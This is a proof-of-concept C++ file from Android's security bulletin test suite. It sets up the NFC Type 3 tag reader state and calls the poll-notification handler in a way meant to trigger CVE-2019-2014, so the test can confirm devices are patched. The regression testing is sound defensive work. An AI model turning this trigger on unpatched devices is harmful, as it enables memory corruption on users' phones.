hostsidetests/securitybulletin/securityPatch/CVE-2019-2014/poc.cpp

/*
 * Copyright (C) 2021 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <rw_int.h>
#include <stdlib.h>

#include "../includes/common.h"

// borrowed from rw_t3t.cc
#define RW_T3T_SENSF_RES_RD_OFFSET 17
#define RW_T3T_SENSF_RES_RD_LEN 2
#define DEFAULT_VALUE 0xBE

extern tRW_CB rw_cb;
void rw_init(void);
void cback(uint8_t, tRW_DATA *) {}

void GKI_start_timer(uint8_t, int32_t, bool) {}

void GKI_stop_timer(uint8_t) {}

int main() {
  tRW_T3T_CB *p_cb = &rw_cb.tcb.t3t;

  GKI_init();
  rw_init();
  rw_cb.p_cback = &cback;

  for (int n = 0; n < NCI_NFCID2_LEN; ++n) {
    p_cb->peer_nfcid2[n] = DEFAULT_VALUE;
  }

  p_cb->num_system_codes = T3T_MAX_SYSTEM_CODES;
  p_cb->flags = RW_T3T_FL_W4_GET_SC_POLL_RSP;

  uint8_t nci_status = NCI_STATUS_OK;
  uint8_t num_responses = 1;
  uint8_t sensf_res_buf_size =
      RW_T3T_SENSF_RES_RD_OFFSET + RW_T3T_SENSF_RES_RD_LEN;
  uint8_t *p_sensf_res_buf =
      (uint8_t *)malloc(RW_T3T_SENSF_RES_RD_OFFSET + RW_T3T_SENSF_RES_RD_LEN);
  rw_t3t_handle_nci_poll_ntf(nci_status, num_responses, sensf_res_buf_size,
                             p_sensf_res_buf);

  free(p_sensf_res_buf);
  return EXIT_SUCCESS;
}